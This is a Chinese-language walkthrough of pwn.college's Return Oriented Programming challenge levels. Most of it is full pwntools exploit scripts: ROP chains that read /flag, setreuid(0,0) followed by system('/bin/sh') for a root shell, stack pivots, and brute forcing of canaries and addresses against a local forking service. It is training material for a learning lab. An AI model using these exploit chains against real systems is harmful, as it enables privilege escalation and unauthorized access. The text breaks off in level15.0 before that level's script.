pwn.college: Return Oriented Programming

不会ROP的话,那么CTF比赛签到题都做不了。ahahahahahahah~

Return Oriented Programming

一条用得很多的找gadgets的方法

1
$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

level1.0

简单的栈溢出,直接覆盖返回地址为win函数地址即可。

level1.1

win():0x4019e7,buf:0x7ffc739ba520,rbp:0x7ffc739ba540

padding:0x20 + 8

level2.0

win_stage_1():0x401cbe

win_stage_2():0x401d6b

1
2
3
4
5
6
7
8
from pwn import *

p = process("/challenge/babyrop_level2.0")

payload = b'a'*56 + p64(0x401cbe) + p64(0x401d6b)
p.send(payload)

print(p.recvall())

level2.1

input_buf: 0x7fffca103c80, rbp: 0x7fffca103cb0

padding = 0xb0 - 0x80 + 8= 0x38

1
2
3
4
pwndbg> b win_stage_1
Breakpoint 2 at 0x401a4a
pwndbg> b win_stage_2
Breakpoint 3 at 0x401af7

level3.0

padding = 0x40+ 8 = 0x48

题目要求:stage1需要把参数设置为1,stage2需要把参数设置为2以此类推,总共五个stage。那么我们需要找到pop rsi; ret。用ROPgadget试试:

1
2
hacker@return-oriented-programming~level3-0:/challenge$ ROPgadget --binary ./babyrop_level3.0 --only 'ret|pop' | grep 'rdi'
0x0000000000402663 : pop rdi ; ret

那就很简单了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = process("/challenge/babyrop_level3.0")
padding = b'a'*0x48
stage_1 = p64(0x0000000000402663)+ p64(0x1) + p64(0x401fd6)
stage_2 = p64(0x0000000000402663)+ p64(0x2) + p64(0x40227b)
stage_3 = p64(0x0000000000402663)+ p64(0x3) + p64(0x401ef4)
stage_4 = p64(0x0000000000402663)+ p64(0x4) + p64(0x402195)
stage_5 = p64(0x0000000000402663)+ p64(0x5) + p64(0x4020b2)

payload = padding + stage_1 + stage_2 + stage_3 + stage_4 + stage_5
pause()
p.send(payload)

print(p.recvall())

level3.1

buf: 0x7ffe2d71b370, rbp: 0x7ffe2d71b3c0, padding = 0xc0 - 0x70 + 8 = 0x58

gadget:0x0000000000402093

level4.0

ASLR和PIE

PIE(Position-Independent Executable)是一种编译选项,使得可执行文件可以在内存任意位置运行,代码不是固定地址。工作原理:1. 使用相对地址而非绝对地址。2. 编译器生成位置无关代码,链接器生成可执行文件。 3. 加载时确定实际地址,并进行重新定位。

ASLR(Address Space Layout Randomization)是一种安全技术,通过随机化进程内存布局(如栈、堆、共享库等)的地址,增加攻击者预测内存地址的难度,从而放至缓冲区溢出等攻击。工作原理:1. 随机化对象:栈、堆、共享库、内存映射等。2. 操作系统在加载程序时,随机化各内存区域的基址。3. 随机化粒度:通常以内存页(如4KB)为单位。

ASLR是操作系统层面的技术,随机化内存布局。PIE是编译和链接层面的技术,生成与位置无关的代码。PIE使ASLR更有效,ASLR为PIE提供随机化支持。

这题开启了ASLR。但是它给了一个[leak],也就是把buf的地址给我们了。然后没有win函数,得自己构造了。由于之前shellcode那一章已经是很早之前做的了,有点不记得了。直接看一下shellcode的level1就行。然后就是ROPgadget找对应的指令就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep 'rdi'
0x00000000004026c6 : pop rdi ; ret
hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep 'rsi'
0x0000000000402981 : pop rsi ; pop r15 ; ret
0x00000000004026ae : pop rsi ; ret
hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep 'rax'
0x0000000000402697 : pop rax ; ret
hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "syscall"
Gadgets information
============================================================
0x00000000004026b6 : syscall
hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep "rdx"
0x00000000004026a7 : pop rdx ; ret
hacker@return-oriented-programming~level4-0:/challenge$ ROPgadget --binary ./babyrop_level4.0 --only "pop|ret" | grep "r10"
0x00000000004026a6 : pop r10 ; ret

啥都有,IDA打开算一下padding:0x60 + 8=0x68。被以前的自己所恶心了一下。以前写shellcode level1的时候图方便用的sendfile作为第二个系统调用。但是这里是不支持sendfile的,找不到这个系统调用号。因此还是得用open+read+write三兄弟。然后有两点值得注意:1. 经过之前的题目,很容易猜测open后的flag的fd大概率为3。2. flag的长度为0x39

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process("/challenge/babyrop_level4.0")
padding = b'/flag'+ p8(0x00) + b'a'*0x62
p.recvuntil(b'[LEAK] Your input buffer is located at: ')
buf_addr = p.recv(14)
print("buf_addr:", buf_addr)
buf_addr = p64(int(buf_addr.decode('utf-8')[2:], 16))
pop_rdi = p64(0x4026c6)
pop_rsi = p64(0x4026ae)
pop_rax = p64(0x402697)
syscall = p64(0x4026b6)
pop_rdx = p64(0x4026a7)
pop_r10 = p64(0x4026a6)
open_sys = pop_rdi + buf_addr + pop_rsi + p64(0x0) + pop_rax + p64(0x2) + syscall
read_sys = pop_rax + p64(0x0) + pop_rdi + p64(0x3) + pop_rsi + buf_addr + pop_rdx + p64(1024) + syscall
write_sys = pop_rdx + p64(0x39) + pop_rax + p64(1) + pop_rdi + p64(1) + pop_rsi + buf_addr + syscall
payload = padding + open_sys + read_sys + write_sys
# pause()
p.send(payload)

print(p.recvall())

level4.1

两件事:1. 换gadgets的地址。2. 算padding

即可拿到flag

level5.0

这题没有leak了,所以不知道栈的地址。但是上一题的exp中,栈地址是为了存储”/flag”字符串以及存储读出来的flag。那么可以写入其他可读可写的空间。用IDA pro打开,可以看到哪些字段是可写的段。选这些段的地址即可存储flag。然后为了把”/flag”字符串写入到程序中,因此需要额外调用一个read来接收stdin,stdin就是”/flag”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

p = process("/challenge/babyrop_level5.0")
padding = b'a'*0x68
# p.recvuntil(b'[LEAK] Your input buffer is located at: ')
# buf_addr = p.recv(14)
# print("buf_addr:", buf_addr)
# buf_addr = p64(int(buf_addr.decode('utf-8')[2:], 16))
buf_addr = p64(0x405090)
pop_rdi = p64(0x00000000004026df)
pop_rsi = p64(0x00000000004026ff)
pop_rax = p64(0x00000000004026e8)
syscall = p64(0x000000000040270f)
pop_rdx = p64(0x00000000004026f0)
open_sys = pop_rdi + buf_addr + pop_rsi + p64(0x0) + pop_rax + p64(0x2) + syscall
read_sys = pop_rax + p64(0x0) + pop_rdi + p64(0x3) + pop_rsi + buf_addr + pop_rdx + p64(1024) + syscall
write_sys = pop_rdx + p64(0x39) + pop_rax + p64(1) + pop_rdi + p64(1) + pop_rsi + buf_addr + syscall
read_stdin = pop_rax + p64(0x0) + pop_rdi + p64(0) + pop_rsi + buf_addr + pop_rdx + p64(0x6) + syscall
payload = padding + read_stdin + open_sys + read_sys + write_sys
# pause()
p.send(payload)
p.send(b'/flag' + p8(0x00))

print(p.recvall())

level5.1

查看可读可写段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0 /challenge/babyrop_level5.1
0x401000 0x402000 r-xp 1000 1000 /challenge/babyrop_level5.1
0x402000 0x403000 r--p 1000 2000 /challenge/babyrop_level5.1
0x403000 0x404000 r--p 1000 2000 /challenge/babyrop_level5.1
0x404000 0x405000 rw-p 1000 3000 /challenge/babyrop_level5.1
0x17fc000 0x181d000 rw-p 21000 0 [heap]
0x7897c231d000 0x7897c233f000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7897c233f000 0x7897c24b7000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7897c24b7000 0x7897c2505000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7897c2505000 0x7897c2509000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7897c2509000 0x7897c250b000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7897c250b000 0x7897c2511000 rw-p 6000 0 [anon_7897c250b]
0x7897c2520000 0x7897c2521000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7897c2521000 0x7897c2544000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7897c2544000 0x7897c254c000 r--p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7897c254d000 0x7897c254e000 r--p 1000 2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7897c254e000 0x7897c254f000 rw-p 1000 2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7897c254f000 0x7897c2550000 rw-p 1000 0 [anon_7897c254f]
0x7fff1a68e000 0x7fff1a6af000 rw-p 21000 0 [stack]
0x7fff1a7e9000 0x7fff1a7ed000 r--p 4000 0 [vvar]
0x7fff1a7ed000 0x7fff1a7ef000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

查看gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rax"
0x0000000000401bc7 : pop rax ; ret
hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rdx"
0x0000000000401bef : pop rdx ; ret
hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rdi"
0x0000000000401bd7 : pop rdi ; ret
hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "pop|ret" | grep "rsi"
0x0000000000401d61 : pop rsi ; pop r15 ; ret
0x0000000000401bcf : pop rsi ; ret
hacker@return-oriented-programming~level5-1:/challenge$ ROPgadget --binary "./babyrop_level5.1" --only "syscall"
Gadgets information
============================================================
0x0000000000401bdf : syscall

Unique gadgets found: 1

level6.0

没有syscall gadget了。但是在IDA中看到了以下函数:

1
2
3
4
5
6
7
8
ssize_t __fastcall force_import(const char *a1, int a2)
{
off_t *v2; // rdx
size_t v3; // rcx

open(a1, a2);
return sendfile((int)a1, a2, v2, v3);
}

sendfile这个可太熟了,第一个shellcode就是sendfile。直接调用这个函数就行了。查看gadget:

1
2
3
4
5
6
0x00000000004014d2 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
0x00000000004023d4 : pop rcx ; ret
0x00000000004023cc : pop rdi ; ret
0x00000000004023dc : pop rdx ; ret
0x0000000000402621 : pop rsi ; pop r15 ; ret
0x00000000004023c4 : pop rsi ; ret

force_import的地址:0x402399。这里复习一下x86-64架构的System V AMD64 ABI调用约定下,整数和指针参数传递规则

参数顺序 寄存器
第1个 rdi
第2个 rsi
第3个 rdx
第4个 rcx
第5个 r8
第6个 r9
第7个及以后

当掌握了返回地址时,可以跳跃到任何地方。包括一个函数的中间某条指令处。只要某个段有可执行权限,那么就可以将返回地址设置为它,并执行其中的代码。这里用到了.plt.sec段的read函数。然后使其接收用户输入来将”/flag”字符串写入一个可写段。再调用force_import。

这里需要调用两次force_import,且第一次应该是函数的起始地址,因为我们需要正常返回,需要主要函数调用时栈的迁移。如果我们设置的ret地址是调用open时的地址,那么在执行完sendfile后,无法正常返回。因为返回地址没有push进栈,导致返回不了。第二次时,可以不执行open,执行open的话会导致我们设置的ROP失效,因为open函数调用后会导致一些寄存器的值被修改,导致sendfile失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p = process("/challenge/babyrop_level6.0")
padding = b'a'*0x58
# p.recvuntil(b'[LEAK] Your input buffer is located at: ')
# buf_addr = p.recv(14)
# print("buf_addr:", buf_addr)
# buf_addr = p64(int(buf_addr.decode('utf-8')[2:], 16))
buf_addr = p64(0x405000)
pop_rdi = p64(0x00000000004023cc)
pop_rsi = p64(0x00000000004023c4)
pop_rax = p64(0x0000000000401bc7)
pop_rcx = p64(0x00000000004023d4)
# syscall = p64(0x0000000000401bdf)
pop_rdx = p64(0x00000000004023dc)
# open_sys = pop_rdi + buf_addr + pop_rsi + p64(0x0) + pop_rax + p64(0x2) + syscall
# read_sys = pop_rax + p64(0x0) + pop_rdi + p64(0x3) + pop_rsi + buf_addr + pop_rdx + p64(1024) + syscall
# write_sys = pop_rdx + p64(0x39) + pop_rax + p64(1) + pop_rdi + p64(1) + pop_rsi + buf_addr + syscall
# read_stdin = pop_rax + p64(0x0) + pop_rdi + p64(0) + pop_rsi + buf_addr + pop_rdx + p64(0x6) + syscall
read_stdin = pop_rdi + p64(0x0) + pop_rsi + buf_addr + pop_rdx + p64(0x6) + p64(0x401160)
force_import_open = pop_rdi + buf_addr + pop_rsi + p64(0x0) + pop_rdx + p64(0x0) + pop_rcx + p64(0x39) + p64(0x402399)
force_import_send = pop_rdi + p64(0x1) + pop_rsi + p64(0x3) + pop_rdx + p64(0x0) + pop_rcx + p64(0x39) + p64(0x4023ab)
payload = padding + read_stdin + force_import_open + force_import_send
# pause()
p.send(payload)
p.send(b'/flag' + p8(0x00))

print(p.recvall())

level6.1

这道题就是上面的exp改地址就行了。

level7.0

这里有一个坑啊,就是直接使用system("/bin/sh"),拿到shell后,还是”hacker”的身份,依然没有权限拿到flag。需要做一个进程uid的修改。

UID(用户标识符)

UID是用于标识系统中每个用户的唯一数字。每个用户都有一个UID,系统通过UID来识别用户并控制其权限。普通用户的UID从1000开始,具体取决于系统的配置。ROOT用户的UID始终为0。

Real UID和 Effective UID

真实用户ID是启动进程的用户的UID。它代表了进程的真正所有者。

有效用户ID决定了进程在执行操作时的权限级别。有些时候进程需要特权时便会切换EUID以执行相应操作。

但是,RUID为普通用户,启动的shell也是普通用户。【也有例外】如果可执行文件设置了Set UID位,并且其所有者是Root,那么无论谁允许该程序,进程的有效用户ID都会是Root。

setreuid是一个系统调用,用户改变进程的真实用户ID和有效用户ID。

1
2
3
4
5
6
7
#include <unistd.h>

int setreuid(uid_t ruid, uid_t euid);
/*
ruid: 要设置的真实用户ID。如果传入-1,则表示不改变当前的ruid。0表示root
euid: 要设置的有效用户ID。如果传入-1,则表示不改变当前的euid。0表示root
*/

这一个level我尝试了chmod,但是发现不行。chmod+ln -s的方式。修改/flag的软链接文件的权限,但是是失败的,我在Practice模式里尝试也是失败的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.arch = "amd64"

p = process("/challenge/babyrop_level7.0")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
padding = b'a'*0x88
p.recvuntil(b"[LEAK] The address of \"system\" in libc is: ")
sys_addr = p.recv(14)
sys_addr = int(sys_addr.decode('utf-8'), 16)
print("sys_addr:", hex(sys_addr))
libc.address = sys_addr - libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
print(rop.dump)

payload = padding + rop.chain()
# pause()
p.send(payload)

# print(p.recvall())
p.interactive()

level7.1

只改padding即可。

level8.0

看了一下课才知道怎么做。思路是:由于延迟绑定的原因,只有先执行一遍libc中的函数,libc.so才会被加载进内存,此时我们获得的libc的基址就是内存中实际libc的地址。因此,可以采用puts(puts)的形式,像题目中提示的那样。

首先执行一次plt.put(got.puts),这样能够把got表中puts的值打印出来。然后再用puts的got表地址减去puts在libc中的偏移地址得到libc的基地址。此时,我们再返回challenge函数重新执行一遍challenge。第二次challenge的执行是为了获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.arch = "amd64"

p = process("/challenge/babyrop_level8.0")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
padding = b'a'*0x78
challenge_addr = p64(0x402000) # 这里可以直接换成read指令所在的地址,因为我们没有修改rbp
e = p.elf
r = ROP(e)
r.raw(r.rdi)
r.raw(e.got['puts'])
r.raw(challenge_addr)
payload = padding + r.chain()
p.send(payload)
p.recvuntil(b'Leaving!\n')
puts_got_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_got_addr))
libc.address = puts_got_addr - libc.symbols['puts']
print("puts_got_addr:",hex(puts_got_addr))
print("libc_addr", hex(libc.address))


sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
payload = padding + rop.chain()
p.send(payload)

p.interactive()

level8.1

改一下padding以及challenge的地址就行

level9.0

有点小麻,由于长时间尝试返回地址为challenge,导致栈迁移后大概率会出现问题。因为进入challenge时会创建新的函数栈帧,而这个栈帧会导致后面的printf函数出现空指针的错误,因此,我一直在尝试解决这个问题,修复栈修复到我要原地爆炸!最后还是妥协,返回地址设置成read函数那儿,从而一下就能出来,因为栈没有变,迁移后的栈是我们可控的。

buf_addr: 0x4150e0,需要用leave指令把栈迁移到bss段的可写段。我开辟了一个rsp->0x4150f8然后rbp->0x415140这么样的一个新栈帧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.arch = "amd64"

p = process("/challenge/babyrop_level9.0")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# padding = b'a'*0x48
read_addr = p64(0x402257)
e = p.elf
r = ROP(e)
# buf_addr = 0x415100
r.raw(r.rbp)
r.raw(0x4150f8)
r.raw(r.leave)
r.raw(0x415140)
r.raw(r.rdi)
r.raw(e.got['puts'])
r.raw(e.plt['puts'])
r.raw(read_addr)
payload = r.chain()
# pause()
p.send(payload)
p.recvuntil(b'Leaving!\n')
# printf_got_addr = p.recv(6)
puts_got_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_got_addr))
libc.address = puts_got_addr - libc.symbols['puts']

print("puts_got_addr:",hex(puts_got_addr))
print("libc_addr", hex(libc.address))

# p.send(payload)
# libc.address = sys_addr - libc.symbols['system']
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
padding = b'a' * 56
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
print(rop.dump())

payload = padding + rop.chain()
pause()
p.send(payload)

# print(p.recvall())
p.interactive()

level9.1

只用改buf的地址以及read的地址即可。

level10.0

这题依然是栈迁移,需要细细分析。leave指令的作用。并且需要查看win函数地址存放在栈的哪里。

leave = mov rbp, rsp; pop rbp;

基于leave指令的特性,可以覆盖rbp的值,使其在栈中迁移。因为challenge函数在ret前会有一次leave。所以可以迁移rbp指令至win函数地址-8的位置。为什么要减去8?分析stack(win) - 8(这表示win函数地址的栈地址并减去8)的情形:

当修改rbp地址的存储为stack(win)-8后,正常执行结束challenge函数,那么会执行一次leave指令。先执行mov rsp, rbp后:rsp此时指向stack(win)-8,再执行``pop rbp`后,rbp此时的地址为stack(win)-8,此时rsp指向原先rbp的地址+8,即返回地址处。

那么再执行一次leave后,还会执行mov rsp, rbp,此时rsp的地址为stack(win)-8。此时再执行pop rbp后,rbp可能已经丢失了,然后rsp为stack(win)。那么此时再执行一个ret指令,即跳转到win函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch = "amd64"
while True:
p = process("/challenge/babyrop_level10.0")
padding = b'a' * 0x38
p.recvuntil(b'located at: ')
input_buf = p64(int(p.recvline().strip()[:-1], 16) - 8 - 8)

payload = padding + input_buf + p16(0xe71e)
# pause()
p.send(payload)
out = p.recvall()
if b'pwn' in out:
break
print(out)
p.interactive()

当然,因为题目给了win函数的地址,因此可以直接ret到那儿去。但是10.1还是要按照这种方法做的。

level10.1

该padding以及gadget偏移即可。

level11.0

如level10.1脚本,改gadget偏移

level11.1

还是改gadget偏移即可

level12.0

这题没有challenge函数了。因此,我们爆破的是main函数的返回地址。它会去到libc.so文件中。所以我们需要拿到libc.so文件中的leave;ret指令的偏移地址。然后爆破。这里爆破的时间就有点长了,因为偏移地址是3个字节的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.arch = "amd64"
while True:
p = process("/challenge/babyrop_level12.1")
padding = b'a' * 0x48
p.recvuntil(b'located at: ')
input_buf = p64(int(p.recvline().strip()[:-1], 16) - 8 - 8)
payload = padding + input_buf + p16(0x18c8) + p8(0x73)
# pause()
p.send(payload)
out = p.recvall(1)
if b'pwn' in out:
break
print(out)
p.interactive()

记得p.recvall(1),设置一下超时时间,因为爆破过程中很有可能会去到libc.so中某个有效地址,从而导致程序hang out,那么你就得重新开始跑。这样的话,重复执行exp多次也不一定能够爆破出来。

level12.1

上面的exp直接跑

level13.0

这题所有保护都开了,但是题目给了LEAK,让我们泄露canary。泄露出来后,需要覆盖最低的一个字节,让它返回到call main的前面,然后重新执行一遍main,此时再泄露ret地址,因为ret地址减去固定偏移就是libc_base的地址,这样就可以进行ROP了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.arch = "amd64"
# context.log_level = 'debug'

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("/challenge/babyrop_level13.0")

padding = b'a' * 0x78

# stage_one
p.recvuntil(b'located at: ')
input_buf = int(p.recvline().strip()[:-1], 16)
canary_addr = input_buf + 0x78
p.sendlineafter(b'from:\n', hex(canary_addr).encode('utf-8'))
p.recvuntil(b' = ')
canary = p.recvline().strip()
canary = int(canary, 16)
print("canary:", hex(canary))
payload = padding + p64(canary) + p64(0x00) + p8(0x60)
# pause()
p.send(payload)


# stage_two
ret_libc_addr = input_buf + 0x88
p.sendlineafter(b'from:\n', hex(ret_libc_addr).encode('utf-8'))
p.recvuntil(b' = ')
libc_base = int(p.recvline().strip(), 16) - 0x24083
print("libc_base:", libc_base)
libc.address = libc_base

sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
print(rop.dump())

payload = padding + p64(canary) + p64(0xdeadbeef) + rop.chain()
p.send(payload)

p.interactive()

level13.1

改偏移地址,三个地方:paddingcanary_addrret_libc_addr

level14.0

这题有fork,那大概率是爆破了。思路是,先爆破canary,再爆破main函数的基地址,然后再利用main的基地址进行plt.puts(got.puts)泄露libc基地址,然后根据libc基地址拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
context.arch = "amd64"
# context.log_level = 'debug'

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

padding = b'a' * 0x58

# stage_one: leak canary
x = 0x00
tmp = b''
canary = b''
while True:
p = remote('127.0.0.1', 1337)
tmp = canary
if x > 255:
x = 0
y = p8(x)
x += 1
tmp += y
payload = padding + tmp
print(payload)
p.sendafter(b'scenario.\n', payload)
out = p.recvall()
# print(out)
p.close()
if b'smashing detected ***: terminated' not in out:
canary += y
if len(canary) == 8:
break
x = 0
print("canary:", hex(u64(canary)))
pause()

# stage_two: leak main_addr
x = 0x01
tmp = b''
main_addr = b''
while True:
p = remote('127.0.0.1', 1337)
tmp = main_addr
if x > 255:
x = 0
y = p8(x)
x += 1
tmp += y
payload = padding + canary + p64(0xdeadbeef) + tmp
# print(payload)
p.sendafter(b'scenario.\n', payload)
out = p.recvall(1)
p.close()
if b'### Goodbye!' in out:
main_addr += y
if len(main_addr) == 8:
break
x = 0
continue
print("main_addr:", hex(u64(main_addr)))
pause()

# stage_three: leak libc_addr
p = remote('127.0.0.1', 1337)
pro = process("/challenge/babyrop_level14.0")
e = pro.elf
e.address = u64(main_addr) - 0x1fce
r = ROP(e)
r.raw(r.rdi)
r.raw(e.got['puts'])
r.raw(e.plt['puts'])
payload = padding + canary + p64(0xdeadbeef) + r.chain()
p.send(payload)
p.recvuntil(b'Leaving!\n')
puts_got_addr = u64(p.recv(6).ljust(8,b'\x00'))
# print(hex(puts_got_addr))
libc.address = puts_got_addr - libc.symbols['puts']
print("puts_got_addr:",hex(puts_got_addr))
print("libc_addr", hex(libc.address))
print("main_addr:", hex(u64(main_addr)))
print("main_base_addr:", hex(e.address))

# stage_four: ROP
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
print("canary:", hex(u64(canary)))
rop = ROP(libc)
ruid = 0
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
print(rop.dump())

payload = padding + canary + p64(0x0) + rop.chain()
p = remote('127.0.0.1', 1337)
p.send(payload)
p.interactive()

但是很神奇的是,就算canary是正确的,同样的脚本依然会出现”smashing detected ***: terminated”,所以,写一个固定的脚本多跑几次:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"

main_addr = 0x5c929d8dffce
canary = 0xca03b3b9123c1900
main_base_addr = 0x5c929d8de000
padding = b'a' * 0x58
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pro = process("/challenge/babyrop_level14.0")

e = pro.elf
e.address = main_base_addr
r = ROP(e)
r.raw(r.rdi)
r.raw(e.got['puts'])
r.raw(e.plt['puts'])
print(r.dump())

libc.address = 0x7d3e08419000
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']

rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
print(rop.dump())

payload = padding + p64(canary) + p64(0x0) + rop.chain()
p = remote('127.0.0.1', 1337)
p.send(payload)
p.interactive()

主要fork下,不是很好调试。不然可以分析一下为什么一会出现canary一会没有出现canary。

level14.1

一样的过程,改偏移地址就行。(包括challenge函数执行后的返回地址,因为是用它算的main基地址)

level15.0

貌似我上一道题有点曲折了,拿到main的基地址就能做很多事了,但是我在ROPgadget中确实没看到systemcall啥的gadget能用。不过好处是,这题反而比上一题简单了。不用爆破main基地址,直接爆破libc基地址,然后就能获得shell。

返回的libc偏移地址为:0x79dc58fd5083 - 0x79dc58fb1000 = 0x24083

最后减去就是libc_base的地址。

但是,有个前提,由于我们无法确定返回到libc_start中是否正确。因此返回地址的最低字节不能是0x83,这样的话就不能控制程序再次调用mian了。所以,爆破libc_addr时,可以以是否再次执行mian来判断该字节爆破的是否正确。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
